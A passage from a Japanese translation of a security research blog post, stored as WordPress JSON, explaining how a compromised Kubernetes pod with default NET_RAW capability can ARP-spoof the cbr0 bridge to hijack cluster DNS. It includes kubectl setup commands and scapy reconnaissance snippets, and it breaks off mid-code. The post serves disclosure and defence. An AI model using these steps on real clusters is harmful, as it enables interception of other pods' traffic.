{"id":29613,"date":"2019-09-05T10:00:04","date_gmt":"2019-09-05T01:00:04","guid":{"rendered":"https:\/\/www.creationline.com\/?p=29613"},"modified":"2019-09-11T17:56:24","modified_gmt":"2019-09-11T08:56:24","slug":"kubernetes%e3%82%af%e3%83%a9%e3%82%b9%e3%82%bf%e3%81%a7%e3%81%aedns%e3%82%b9%e3%83%97%e3%83%bc%e3%83%95%e3%82%a3%e3%83%b3%e3%82%b0-aquasecurity-devsecops-container-security-kubernetes","status":"publish","type":"post","link":"https:\/\/www.creationline.com\/tech-blog\/cloudnative\/aquasecurity\/29613","title":{"rendered":"Kubernetes\u30af\u30e9\u30b9\u30bf\u3067\u306eDNS\u30b9\u30d7\u30fc\u30d5\u30a3\u30f3\u30b0 #AquaSecurity #DevSecOps #Container #Security #Kubernetes"},"content":{"rendered":"<p>\u672c\u30d6\u30ed\u30b0\u306f\u300cAqua Security\u300d\u793e\u306e\u6280\u8853\u30d6\u30ed\u30b0\u30672019\u5e748\u670829\u65e5\u306b\u516c\u958b\u3055\u308c\u305f\u300c<a href=\"https:\/\/blog.aquasec.com\/dns-spoofing-kubernetes-clusters\" rel=\"nofollow noopener noreferrer\" target=\"_blank\">DNS Spoofing on Kubernetes Clusters<\/a>\u300d\u306e\u65e5\u672c\u8a9e\u7ffb\u8a33\u3067\u3059\u3002<\/p>\n<div style=\"text-align: center;\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/blog.aquasec.com\/hs-fs\/hubfs\/Spoofing%20in%20Kubernetes%20Resource%20Thumbnail.jpg?width=975&name=Spoofing%20in%20Kubernetes%20Resource%20Thumbnail.jpg\" width=\"1910\" height=\"365\" alt=\"\" \/><\/div>\n<h2>Kubernetes\u30af\u30e9\u30b9\u30bf\u3067\u306eDNS\u30b9\u30d7\u30fc\u30d5\u30a3\u30f3\u30b0<\/h2>\n<p>\u3053\u306e\u6295\u7a3f\u3067\u306f\u3001\u30af\u30e9\u30b9\u30bf\u3067\u60aa\u610f\u306e\u3042\u308b\u30b3\u30fc\u30c9\u3092\u5b9f\u884c\u3059\u308b\u7ba1\u7406\u8005\u304c\u3001\u7279\u5225\u306a\u8a31\u53ef\u306a\u3057\u306b\u3001\u30af\u30e9\u30b9\u30bf\u3067\u5b9f\u884c\u3055\u308c\u3066\u3044\u308b\u3059\u3079\u3066\u306e\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3078\u306eDNS\u5fdc\u7b54\u3092\u507d\u88c5\u3057\u3001\u305d\u3053\u304b\u3089pod\u9593\u306e\u3059\u3079\u3066\u306e\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30c8\u30e9\u30d5\u30a3\u30c3\u30af\u306b\u5bfe\u3057\u3066\u4e2d\u9593\u8005\u653b\u6483(MITM)\u3092\u5b9f\u884c\u3059\u308b\u65b9\u6cd5\u306b\u3064\u3044\u3066\u8aac\u660e\u3057\u307e\u3059\u3002<\/p>\n<p>\u653b\u6483\u30b7\u30ca\u30ea\u30aa\u306b\u5165\u308b\u524d\u306b\u3001Kubernetes\u306e\u30ce\u30fc\u30c9\u5185\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u304c\u3069\u306e\u3088\u3046\u306b\u6a5f\u80fd\u3059\u308b\u304b\u3092\u7406\u89e3\u3057\u307e\u3057\u3087\u3046\u3002<br \/>\n\u4e00\u9023\u306e\u30d6\u30ed\u30b0\u3067Kubernetes\u30cd\u30c3\u30c8\u30ef\u30fc\u30ad\u30f3\u30b0\u306b\u3064\u3044\u3066\u8b70\u8ad6\u3067\u304d\u307e\u3059\u304c\u3001\u3059\u3079\u3066\u3092\u7db2\u7f85\u3057\u3066\u3044\u308b\u308f\u3051\u3067\u306f\u3042\u308a\u307e\u305b\u3093\u3002\u3057\u305f\u304c\u3063\u3066\u3001\u4ee5\u4e0b\u3067\u306f\u30c7\u30d5\u30a9\u30eb\u30c8\u306e\u69cb\u6210\u3092\u5143\u306b\u8aac\u660e\u3057\u3066\u3044\u304d\u307e\u3059\u3002<\/p>\n<h2>Kubernetes\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u3092\u7c21\u6f54\u306b\u8a00\u3046\u3068<\/h2>\n<p>\u4e00\u822c\u7684\u306b\u3001\u30ce\u30fc\u30c9\u5185\u306epod\u9593\u30cd\u30c3\u30c8\u30ef\u30fc\u30ad\u30f3\u30b0\u306f\u3001\u3059\u3079\u3066\u306epod\u3092\u63a5\u7d9a\u3059\u308b\u30d6\u30ea\u30c3\u30b8\u3092\u4ecb\u3057\u3066\u5229\u7528\u3067\u304d\u307e\u3059\u3002\u3053\u306e\u30d6\u30ea\u30c3\u30b8\u306f\u300ccbr0\u300d\u3068\u547c\u3070\u308c\u307e\u3059\u3002<span style=\"color:#0000ff\">(1)<\/span>(\u4e00\u90e8\u306e\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30d7\u30e9\u30b0\u30a4\u30f3\u306f\u72ec\u81ea\u306e\u30d6\u30ea\u30c3\u30b8\u3092\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3057\u3001\u5225\u306e\u540d\u524d\u3092\u4ed8\u4e0e\u3057\u307e\u3059\u304c\u3001\u3053\u306e\u30d6\u30ed\u30b0\u3067\u306f\u300ccbr0\u300d\u3068\u79f0\u3057\u307e\u3059\u3002)cbr0\u306f\u3001ARP(Address Resolution Protocol)\u89e3\u6c7a\u3082\u51e6\u7406\u3067\u304d\u307e\u3059\u3002\u7740\u4fe1\u30d1\u30b1\u30c3\u30c8\u304ccbr0\u306b\u5230\u7740\u3059\u308b\u3068\u3001ARP\u3092\u4f7f\u7528\u3057\u3066\u5b9b\u5148MAC\u30a2\u30c9\u30ec\u30b9\u3092\u89e3\u6c7a\u3067\u304d\u307e\u3059\u3002<\/p>\n<p>\u3053\u308c\u304c\u540c\u3058\u30ce\u30fc\u30c9\u3067pod\u304c\u4e92\u3044\u306b\u901a\u4fe1\u3059\u308b\u65b9\u6cd5\u3067\u3059\u3002 Docker\u306e\u4ed5\u7d44\u307f\u3067\u3082\u3042\u308a\u3001Kubernetes\u306e\u30c7\u30d5\u30a9\u30eb\u30c8\u3067\u3059\u3002<\/p>\n<div style=\"text-align: center;\"><img decoding=\"async\" src=\"https:\/\/blog.aquasec.com\/hs-fs\/hubfs\/Blog\/kubedns-diagram-1.jpg?width=878&name=kubedns-diagram-1.jpg\" alt=\"\" \/><\/div>\n<h3>DNS\u3092\u8ffd\u52a0\u3059\u308b\u65b9\u6cd5<\/h3>\n<p>\u56f3\u3067\u308f\u304b\u308b\u3088\u3046\u306b\u3001CoreDNS<span style=\"color:#0000ff\">(2)<\/span>\u3068\u3044\u3046\u540d\u524d\u306epod\u304c\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3pod<span style=\"color:#0000ff\">(3)<\/span>\u3068\u540c\u3058\u30ce\u30fc\u30c9\u4e0a\u3067\u5b9f\u884c\u3055\u308c\u3066\u304a\u308a\u3001\u3053\u308c\u304c\u30af\u30e9\u30b9\u30bf\u306eDNS\u30b5\u30fc\u30d0\u3068\u3057\u3066\u6a5f\u80fd\u3057\u307e\u3059\u3002(\u5b9f\u969b\u306b\u306f\u3001\u8907\u6570\u306e\u30af\u30e9\u30b9\u30bfDNS\u30b5\u30fc\u30d0pod\u304c\u5b58\u5728\u3059\u308b\u5834\u5408\u304c\u3042\u308a\u307e\u3059\u3002)<\/p>\n<p>\u3053\u308c\u306f\u3001\u30af\u30e9\u30b9\u30bf\u4e0a\u306e\u3059\u3079\u3066\u306eDNS\u8981\u6c42\u304cCoreDNS pod\u306b\u5230\u7740\u3059\u308b\u3053\u3068\u3092\u610f\u5473\u3057\u307e\u3059\u3002pod\u306f\u307e\u305a\u3001\u30af\u30e9\u30b9\u30bf\u306b\u3064\u3044\u3066\u77e5\u3063\u3066\u3044\u308b\u3053\u3068\u304b\u3089\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u8a66\u884c\u3057\u3066\u3001\u540d\u524d\u3092\u89e3\u6c7a\u3057\u3088\u3046\u3068\u3057\u307e\u3059\u3002\u30c9\u30e1\u30a4\u30f3\u304c\u3001<i>service\u3084pods\u306a\u3069<\/i>\u3068\u4e00\u81f4\u3059\u308b\u5834\u5408\u3001\u5bfe\u5fdc\u3059\u308b\u30ed\u30fc\u30ab\u30ebIP\u3092\u8fd4\u3057\u307e\u3059\u3002\u305d\u3046\u3067\u306a\u3044\u5834\u5408\u306f\u3001CoreDNS pod\u306f\u300c\u4e0a\u6d41\u306e\u30ea\u30be\u30eb\u30d0\u300d\u306b\u554f\u3044\u5408\u308f\u305b\u3057\u307e\u3059\u3002<\/p>\n<p><span style=\"background-color:#000000\"><span style=\"color:#ffffff\">Taken from: kubelet\/network\/dns\/dns.go::GetPodDNS()<br \/>\n\u3000\u3000\/\/ For a pod with DNSClusterFirst policy, the cluster DNS server is<br \/>\n\u3000\u3000\/\/ the only nameserver configured for the pod. The cluster DNS server<br \/>\n\u3000\u3000\/\/ itself will forward queries to other nameservers that is configured<br \/>\n\u3000\u3000\/\/ to use, in case the cluster DNS server cannot resolve the DNS query<br \/>\n\u3000\u3000\/\/ itself.<\/span><\/span><\/p>\n<p>\u3053\u308c\u304c\u3001Kubernetes\u304c<a href=\"https:\/\/kubernetes.io\/docs\/concepts\/services-networking\/dns-pod-service\/\" target=\"_blank\" rel=\"noopener noreferrer\">\u30ed\u30fc\u30ab\u30eb\u30c9\u30e1\u30a4\u30f3<\/a>\u540d\u3092\u51e6\u7406\u3059\u308b\u65b9\u6cd5\u3067\u3059\u3002<br \/>\nClusterDNSFirst\u30dd\u30ea\u30b7\u30fc\u306fpod\u306e\u30c7\u30d5\u30a9\u30eb\u30c8\u3067\u3042\u308a\u3001\u5225\u306e\u30dd\u30ea\u30b7\u30fc\u3092\u4f7f\u7528\u3059\u308b\u3053\u3068\u306f\u3042\u307e\u308a\u3042\u308a\u307e\u305b\u3093\u3002<br \/>\n<i>\u6ce8\u610f\uff1a\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3pod\u306f\u3001CoreDNS\/kube-dnspod\u3068\u540c\u3058\u30ce\u30fc\u30c9\u3067\u30b9\u30b1\u30b8\u30e5\u30fc\u30eb\u3067\u304d\u307e\u3059\u3002<\/i><\/p>\n<p>\u3057\u304b\u3057\u3001pod\u306f\u30af\u30e9\u30b9\u30bfDNS\u30b5\u30fc\u30d0\u306eIP\u3092\u3069\u306e\u3088\u3046\u306b\u3057\u3066\u77e5\u308b\u306e\u3067\u3057\u3087\u3046\u304b\uff1f<\/p>\n<p>\u30af\u30e9\u30b9\u30bf\u306b\u300cpod\u300d\u3092\u4f5c\u6210\u3057\u307e\u3057\u3087\u3046\u3002<br \/>\n\u300cnsswitch.conf\u300d\u306e\u300chosts\u300d\u306e\u5024\u3092\u8abf\u3079\u308b\u3053\u3068\u3067\u3001DNS\u3092\u89e3\u6c7a\u3059\u308b\u3068\u304d\u306b\u4e88\u60f3\u3055\u308c\u308b\u52d5\u4f5c\u3092\u628a\u63e1\u3057\u307e\u3059\u3002<\/p>\n<p><span style=\"background-color:#f5f5f5\"><br \/>\nroot@pod:\/# cat \/etc\/nsswitch.conf | grep hosts<br \/>\nhosts: <b>files dns<\/b><br \/>\n<\/span><\/p>\n<p>pod\u306f\u3001\u6700\u521d\u306b\u30ed\u30fc\u30ab\u30eb\u306ehosts\u30d5\u30a1\u30a4\u30eb\u3092\u8aad\u307f\u53d6\u3063\u3066\u30a2\u30c9\u30ec\u30b9\u3092\u89e3\u6c7a\u3057\u3088\u3046\u3068\u3057\u3001\u305d\u306e\u5f8c\u3001\u8a2d\u5b9a\u3055\u308c\u305fDNS\u30cd\u30fc\u30e0\u30b5\u30fc\u30d0\u304b\u3089\u89e3\u6c7a\u3059\u308b\u3053\u3068\u3092\u8a66\u307f\u307e\u3059\u3002<\/p>\n<p>\/etc\/resolv.conf\u3092\u898b\u3066\u3001\u3053\u306e\u30cd\u30fc\u30e0\u30b5\u30fc\u30d0\u3092\u898b\u3064\u3051\u307e\u3057\u3087\u3046\u3002<\/p>\n<p><span style=\"background-color:#f5f5f5\"><br \/>\nroot@pod:\/# cat \/etc\/resolv.conf<br \/>\n<b>nameserver 10.96.0.10<\/b><br \/>\nsearch default.svc.cluster.local svc.cluster.local cluster.local project.internal<br \/>\noptions ndots:5<br \/>\n<\/span><\/p>\n<p>\u30af\u30e9\u30b9\u30bfDNS\u30b5\u30fc\u30d0\u306eIP\u306f<b>10.96.0.10<\/b>\u3067\u3042\u308b\u3053\u3068\u304c\u308f\u304b\u308a\u307e\u3059\u3002<\/p>\n<p>pod\u5185\u306e\u30af\u30e9\u30b9\u30bfDNS\u30b5\u30fc\u30d0\u3068\u3057\u3066\u5272\u308a\u5f53\u3066\u3089\u308c\u308b\u3082\u306e(\u30cd\u30fc\u30e0\u30b5\u30fc\u30d0)\u306f\u3001\u5b9f\u969b\u306b\u306fkube-dns\u30b5\u30fc\u30d3\u30b9\u306e\u30b5\u30fc\u30d3\u30b9IP\u3067\u3059\u3002 Kubernetes\u306fVIP(\u4eee\u60f3IP)\u3068\u547c\u3070\u308c\u308b\u3082\u306e\u3092\u4f7f\u7528\u3057\u307e\u3059\u3002\u3053\u308c\u306b\u3088\u308a\u3001iptables\u30eb\u30fc\u30eb\u306f\u30b5\u30fc\u30d3\u30b9\u3078\u306e\u767a\u4fe1\u30c8\u30e9\u30d5\u30a3\u30c3\u30af\u306bDNAT(Destination Network Address Translation)\u3092\u9069\u7528\u3057\u3001\u305d\u306e\u7d50\u679c\u3001\u5b9b\u5148\u306eVIP\u306b\u5bfe\u5fdc\u3059\u308bCoreDNS pod IP\u306b\u5909\u63db\u3055\u308c\u307e\u3059\u3002\u3053\u308c\u3089\u306eiptables\u30eb\u30fc\u30eb\u306e\u8a2d\u5b9a\u306f\u3001\u5b9f\u969b\u306b\u306f\u5404\u30ce\u30fc\u30c9\u306b\u30c7\u30d7\u30ed\u30a4\u3055\u308c\u308bkube-proxy pod\u306e\u4ed5\u4e8b\u3067\u3059\u3002<\/p>\n<h2>\u30af\u30e9\u30b9\u30bfDNS\u30b5\u30fc\u30d0\u306e\u4e57\u3063\u53d6\u308a<\/h2>\n<p>\u4ee5\u524d\u306e\u6295\u7a3f\u3067\u7d39\u4ecb\u3057\u305f\u65b9\u6cd5\u306b\u3088\u308aWeb\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3pod\u304c\u60aa\u610f\u306e\u3042\u308b\u30b3\u30fc\u30c9\u306b\u611f\u67d3\u3057\u305f\u3068\u60f3\u50cf\u3057\u3066\u307f\u307e\u3057\u3087\u3046\u3002<\/p>\n<p>\u653b\u6483\u8005\u304c\u30af\u30e9\u30a6\u30c9\u30e1\u30bf\u30c7\u30fc\u30bfAPI\u306b\u30a2\u30af\u30bb\u30b9\u3067\u304d\u305a\u3001\u30af\u30e9\u30b9\u30bf\u304c\u5b89\u5168\u306aRBAC\u30eb\u30fc\u30eb\u3067\u69cb\u6210\u3055\u308c\u3066\u304a\u308a\u3001<a href=\"https:\/\/blog.aquasec.com\/kubernetes-security-pod-escape-log-mounts\" rel=\"noopener noreferrer\" target=\"_blank\">pod\u304c\u300c\/var\/log\u300d\u5185\u306e\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u306b\u30de\u30a6\u30f3\u30c8\u3055\u308c\u3066\u3044\u306a\u3044<\/a>\u5834\u5408\u3001\u653b\u6483\u8005\u306fpod\u3092\u300c\u56de\u907f\u300d\u3057\u3066\u30af\u30e9\u30b9\u30bf\u5168\u4f53\u3078\u653b\u6483\u3092\u5b9f\u884c\u3059\u308b\u3053\u3068\u306f\u3067\u304d\u305a\u3001pod\u306b\u5bfe\u3059\u308b\u30ed\u30fc\u30ab\u30eb\u653b\u6483\u306b\u9650\u5b9a\u3055\u308c\u305f\u307e\u307e\u3067\u3059\u3002\u3067\u3059\u3088\u306d\uff1f<\/p>\n<p>\u305d\u308c\u3068\u3082\u305d\u308c\u4ee5\u4e0a\u306e\u7bc4\u56f2\u306b\u5bfe\u3059\u308b\u653b\u6483\u304c\u53ef\u80fd\u3068\u306a\u308b\u306e\u3067\u3057\u3087\u3046\u304b\uff1f<\/p>\n<div style=\"text-align: center;\"><img decoding=\"async\" src=\"https:\/\/blog.aquasec.com\/hs-fs\/hubfs\/Blog\/kubedns-diagram-2.jpg?width=891&name=kubedns-diagram-2.jpg\" alt=\"\" \/><\/div>\n<h2>\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u653b\u6483<\/h2>\n<p>\u30c7\u30d5\u30a9\u30eb\u30c8\u8a2d\u5b9a\u3067\u5b9f\u884c\u3055\u308c\u3066\u3044\u308bpod\u306b<a href=\"http:\/\/man7.org\/linux\/man-pages\/man7\/capabilities.7.html\" rel=\"noopener noreferrer\" target=\"_blank\">\u4ed8\u4e0e\u3055\u308c\u3066\u3044\u308b\u6a5f\u80fd<\/a>\u3092\u898b\u308b\u3068\u3001\u6c17\u306b\u306a\u308b\u3082\u306e\u304c\u3042\u308b\u3053\u3068\u306b\u6c17\u4ed8\u304d\u307e\u3059\u3002<\/p>\n<p><span style=\"background-color:#f5f5f5\"><br \/>\nroot@pod:\/# pscap -a<br \/>\nppid pid name command capabilities<br \/>\n0 1 root bash chown, dac_override, fowner, fsetid, kill, setgid, setuid, setpcap, net_bind_service, net_raw, sys_chroot, mknod, audit_write, setfcap<br \/>\n<\/span><\/p>\n<p>NET_RAW\u6a5f\u80fd\u304c\u3042\u308b\u3088\u3046\u3067\u3059\u3002<br \/>\n(\u4ee5\u4e0b\u306fLinux\u6a5f\u80fd\u306e\u30e1\u30a4\u30f3\u30da\u30fc\u30b8\u3088\u308a\u629c\u7c8b)<\/p>\n<div style=\"text-align: center;\"><img decoding=\"async\" src=\"https:\/\/blog.aquasec.com\/hs-fs\/hubfs\/image-5.png?width=908&name=image-5.png\" alt=\"\" \/><\/div>\n<p>NET_RAW\u306fKubernetes\u306e\u30c7\u30d5\u30a9\u30eb\u30c8\u306e\u8a31\u5bb9\u8a2d\u5b9a\u3067\u3059\u3002\u30b3\u30f3\u30c6\u30ca\u9593\u306eICMP\u30c8\u30e9\u30d5\u30a3\u30c3\u30af\u3092\u8a31\u53ef\u3059\u308b\u305f\u3081\u306b\u3042\u308a\u307e\u3059\u3002\u3057\u304b\u3057\u3001ICMP\u30c8\u30e9\u30d5\u30a3\u30c3\u30af\u306b\u52a0\u3048\u3066\u3001\u3053\u306e\u6a5f\u80fd\u306f\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306bRAW\u30bd\u30b1\u30c3\u30c8(ARP\u3084DNS\u306a\u3069)\u3092\u751f\u6210\u3059\u308b\u6a5f\u80fd\u3092\u4ed8\u4e0e\u3059\u308b\u305f\u3081\u3001\u653b\u6483\u8005\u306f\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u95a2\u9023\u306e\u653b\u6483\u3092\u81ea\u7531\u306b\u884c\u3046\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/p>\n<h2>ARP\u30b9\u30d7\u30fc\u30d5\u30a3\u30f3\u30b0<\/h2>\n<p>\u6700\u3082\u4e00\u822c\u7684\u306a\u653b\u6483\u306f\u3001ARP(Address Resolution Protocol)\u30b9\u30d7\u30fc\u30d5\u30a3\u30f3\u30b0\u3067\u3059\u3002\u3053\u306e\u30bf\u30a4\u30d7\u306e\u653b\u6483\u306f\u3001IP\u30a2\u30c9\u30ec\u30b9\u3092MAC(\u7269\u7406)\u30a2\u30c9\u30ec\u30b9\u3068\u76f8\u95a2\u3055\u305b\u308b\u30e1\u30ab\u30cb\u30ba\u30e0\u3092\u60aa\u7528\u3057\u3066\u3001\u8eab\u5206\u3092\u507d\u3063\u3066\u300c\u3053\u3093\u306b\u3061\u306f\u3001\u3053\u306eIP\u30a2\u30c9\u30ec\u30b9\u3092\u6240\u6709\u3057\u3066\u3044\u307e\u3059\u3002\u3059\u3079\u3066\u306e\u30d1\u30b1\u30c3\u30c8\u3092\u8ee2\u9001\u3057\u3066\u304f\u3060\u3055\u3044\u300d\u3068\u8a00\u3044\u307e\u3059\u3002<\/p>\n<p>cbr0<span style=\"color:#0000ff\">(1)<\/span>(\u6700\u521d\u306e\u56f3\u3092\u53c2\u7167)\u306f\u3001ARP\u3092\u4f7f\u7528\u3057\u3066pod\u306eIP\u30a2\u30c9\u30ec\u30b9\u3068\u5bfe\u5fdc\u3059\u308b\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30a4\u30f3\u30bf\u30fc\u30d5\u30a7\u30fc\u30b9\u3092\u95a2\u9023\u4ed8\u3051\u3001\u3055\u3089\u306bDNS\u8981\u6c42\u306e\u5b9b\u5148VIP\u306fpod\u306e\u30b5\u30d6\u30cd\u30c3\u30c8\u5916\u306b\u3042\u308b\u3053\u3068\u3092\u601d\u3044\u51fa\u3057\u3066\u304f\u3060\u3055\u3044\u3002\u305d\u306e\u305f\u3081\u3001\u30d1\u30b1\u30c3\u30c8\u306fDNAT\u51e6\u7406\u4e2d\u306bpod\u306e\u30c7\u30d5\u30a9\u30eb\u30c8\u30b2\u30fc\u30c8\u30a6\u30a7\u30a4(cbr0)\u306b\u9001\u4fe1\u3055\u308c\u307e\u3059\u3002\u3053\u308c\u306b\u3088\u308a\u3001cbr0\u304cDNS\u8981\u6c42\u306eMAC\u30a2\u30c9\u30ec\u30b9\u306e\u89e3\u6c7a\u3092\u62c5\u5f53\u3057\u307e\u3059\u3002<\/p>\n<h3>cbr0\u30d6\u30ea\u30c3\u30b8\u306eARP\u30b9\u30d7\u30fc\u30d5\u30a3\u30f3\u30b0<\/h3>\n<p>\u3059\u3079\u3066\u306eDNS\u8981\u6c42\u306fCoreDNS pod\u306e\u80cc\u5f8c\u306ecbr0\u306b\u5230\u7740\u3057(DNAT\u3092\u53d6\u5f97\u3057\u305f\u5f8c)\u3001\u305d\u3053\u3067DNS\u30b5\u30fc\u30d0pod\u306b\u30ea\u30c0\u30a4\u30ec\u30af\u30c8\u3055\u308c\u307e\u3059\u3002<\/p>\n<p>cbr0\u306fDNS pod\u3092\u30af\u30e9\u30b9\u30bf\u306e\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u306b\u63a5\u7d9a\u3059\u308b\u30d6\u30ea\u30c3\u30b8\u3067\u3042\u308b\u305f\u3081\u3001\u5916\u90e8\u30ce\u30fc\u30c9\u306epod\u304b\u3089\u306eDNS\u8981\u6c42\u3082\u3053\u306ecbr0\u306b\u5230\u7740\u3059\u308b\u3053\u3068\u306b\u6ce8\u610f\u3057\u3066\u304f\u3060\u3055\u3044\u3002<\/p>\n<p>\u305d\u306e\u305f\u3081\u3001\u653b\u6483\u8005\u304cDNS pod\u306e\u96a3\u3067\u5b9f\u884c\u3055\u308c\u3066\u3044\u308b\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306b\u4fb5\u5165\u3057\u305f\u5834\u5408\u3001cbr0\u3092ARP\u30b9\u30d7\u30fc\u30d5\u30a3\u30f3\u30b0\u3057\u3001\u305d\u308c\u3092\u3060\u307e\u3057\u3066\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u304c\u52d5\u3044\u3066\u3044\u308bpod(\u4fb5\u5165\u3057\u305fpod)\u304c\u30af\u30e9\u30b9\u30bfDNS\u30b5\u30fc\u30d0\u3067\u3042\u308b\u3068\u8003\u3048\u3055\u305b\u3001\u30af\u30e9\u30b9\u30bf\u5185\u306e\u3059\u3079\u3066\u306eDNS\u89e3\u6c7a\u3092\u5b8c\u5168\u306b\u5236\u5fa1\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/p>\n<h2>\u60aa\u7528\u306e\u624b\u6cd5<\/h2>\n<p>\u3053\u306e\u691c\u8a3c\u306f\u3001<a href=\"https:\/\/scapy.net\/\" rel=\"noopener noreferrer\" target=\"_blank\">scapy<\/a>\u3067\u66f8\u304b\u308c\u3066\u3044\u307e\u3059\u3002(scapy\u306fpython\u7528\u306e\u30d1\u30b1\u30c3\u30c8\u4f5c\u6210\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u3067\u3059\u3002)<br \/>\n\u74b0\u5883\u3092\u8a2d\u5b9a\u3059\u308b\u306b\u306f\u3001\u653b\u6483\u8005\u7528pod\u3068\u88ab\u5bb3\u8005\u7528pod\u306e2\u3064\u306epod\u3092\u30c7\u30d7\u30ed\u30a4\u3057\u307e\u3059\u3002<\/p>\n<p>pod\u306e\u4f5c\u6210\u65b9\u6cd5\u306f\u6b21\u306e\u3068\u304a\u308a\u3067\u3059\u3002<\/p>\n<p><span style=\"background-color:#f5f5f5\"><br \/>\n\u279c ~ kubectl create -f .\/pods\/<br \/>\npod\/hacker created<br \/>\npod\/victim created<br \/>\n<\/span><\/p>\n<p>\u305d\u3057\u3066\u3001\u653b\u6483\u8005\u7528pod\u3067scapy\u306e\u30a4\u30f3\u30bf\u30d7\u30ea\u30bf\u3092\u5b9f\u884c\u3057\u307e\u3059\u3002<\/p>\n<p><span style=\"background-color:#f5f5f5\"><br \/>\n\u279c ~ kubectl exec -it hacker scapy<br \/>\n<\/span><\/p>\n<p>\u307e\u305a\u3001\u5b9f\u969b\u306ekube-dns pod\u306eIP\u3092\u53d6\u5f97\u3059\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002 VIP\u3092\u30d0\u30a4\u30d1\u30b9\u3057\u3066\u3001pod\u306e\u5b9f\u969b\u306eIP\u3092\u898b\u3064\u3051\u307e\u3059\u3002<\/p>\n<p>\u4ee5\u4e0b\u3092\u5b9f\u884c\u3059\u308b\u3053\u3068\u3067\u3053\u308c\u3092\u5b9f\u884c\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002;<br \/>\n<span style=\"background-color:#f5f5f5\"><br \/>\n&gt;&gt;&gt; dns_pod_mac = srp1(Ether() \/ IP(dst=kubedns_vip) \/ UDP(dport=53) \/ DNS(rd=1,qd=DNSQR())).src<br \/>\n<\/span><\/p>\n<p>\u901a\u5e38\u306eDNS\u89e3\u6c7a\u30b7\u30ca\u30ea\u30aa\u3092\u30b7\u30df\u30e5\u30ec\u30fc\u30c8\u3057\u3066\u3001DNS\u8981\u6c42\u3092\u30b5\u30fc\u30d3\u30b9IP\u306b\u9001\u4fe1\u3057\u305f\u5f8c\u3001\u5fdc\u7b54\u3059\u308b\u30bd\u30fc\u30b9MAC\u30a2\u30c9\u30ec\u30b9\u3092\u53d6\u5f97\u3057\u307e\u3059\u3002\u7406\u8ad6\u7684\u306b\u306f\u3001\u5fdc\u7b54\u306e\u30bd\u30fc\u30b9IP\u3092\u53d6\u5f97\u3059\u308b\u3060\u3051\u3067\u3057\u305f\u3002\u305f\u3060\u3057\u3001Kubernetes\u306f\u3001\u30dd\u30c3\u30c9\u304b\u3089\u306e\u767a\u4fe1\u30c8\u30e9\u30d5\u30a3\u30c3\u30af\u3067SNAT(Source Network Address Translation)\u3092\u4f7f\u7528\u3059\u308b\u3053\u3068\u306b\u3088\u308a\u3001\u5b9f\u969b\u306eIP\u304c\u691c\u51fa\u3055\u308c\u306a\u3044\u3088\u3046\u306b\u3057\u307e\u3059\u3002\u30ea\u30be\u30eb\u30d0\u30af\u30e9\u30a4\u30a2\u30f3\u30c8(\u4f8b.nslookup)\u306f\u3001\u9023\u7d61\u5148\u3068\u306f\u7570\u306a\u308b\u30bd\u30fc\u30b9\u304b\u3089\u306e\u56de\u7b54\u3092\u53d7\u3051\u5165\u308c\u306a\u3044\u305f\u3081\u3001\u3053\u308c\u306f\u7406\u306b\u304b\u306a\u3063\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>\u3053\u308c\u3067\u3001\u30b5\u30d6\u30cd\u30c3\u30c8\u5185\u306e\u5168\u54e1\u306bMAC\u30a2\u30c9\u30ec\u30b9\u3092\u7167\u4f1a\u3057\u3001\u4ee5\u524d\u53d7\u4fe1\u3057\u305f\u30bd\u30fc\u30b9MAC\u30a2\u30c9\u30ec\u30b9\u3068\u6bd4\u8f03\u3067\u304d\u307e\u3059\u3002\u307e\u305f\u306f\u3001\u3053\u308c\u306bRARP(Reverse Address Resolution Protocol)\u3092\u4f7f\u7528\u3067\u304d\u307e\u3059\u3002\u305f\u3060\u3057\u3001\u307b\u3068\u3093\u3069\u306e\u74b0\u5883\u3067\u306f\u901a\u5e38\u306eARP\u30af\u30a8\u30ea\u3092\u4f7f\u7528\u3059\u308b\u65b9\u304c\u5408\u7406\u7684\u3067\u3059\u3002<\/p>\n<p><span style=\"background-color:#f5f5f5\"><br \/>\n&gt;&gt;&gt; ans, unans = srp(Ether(dst=\"ff:ff:ff:ff:ff:ff\")\/ARP(pdst=\"{}\/24\".format(my_ip)), timeout=4)<br \/>\n&gt;&gt;&gt; dns_pod_ip = [a[1][ARP].psrc for a in ans if a[1].src == dns_pod_mac][0]<br \/>\n<\/span><\/p>\n<p>\u6b21\u306bcbr0\u30d6\u30ea\u30c3\u30b8\u306eMAC\u30a2\u30c9\u30ec\u30b9\u3068IP\u304c\u5fc5\u8981\u3068\u306a\u308a\u307e\u3059\u3002trace-routing(\u5916\u90e8IP\u306bping\u3092\u9001\u4fe1\u3057\u3001IP ttl\u30921\u306b\u8a2d\u5b9a)\u3059\u308b\u3053\u3068\u306b\u3088\u308a\u3001scapy\u3067\u305d\u308c\u3092\u53d6\u5f97\u3067\u304d\u307e\u3059\u3002<\/p>\n<p><span style=\"background-color:#f5f5f5\"><br \/>\n&gt;&gt;&gt; res = srp1(Ether() \/ 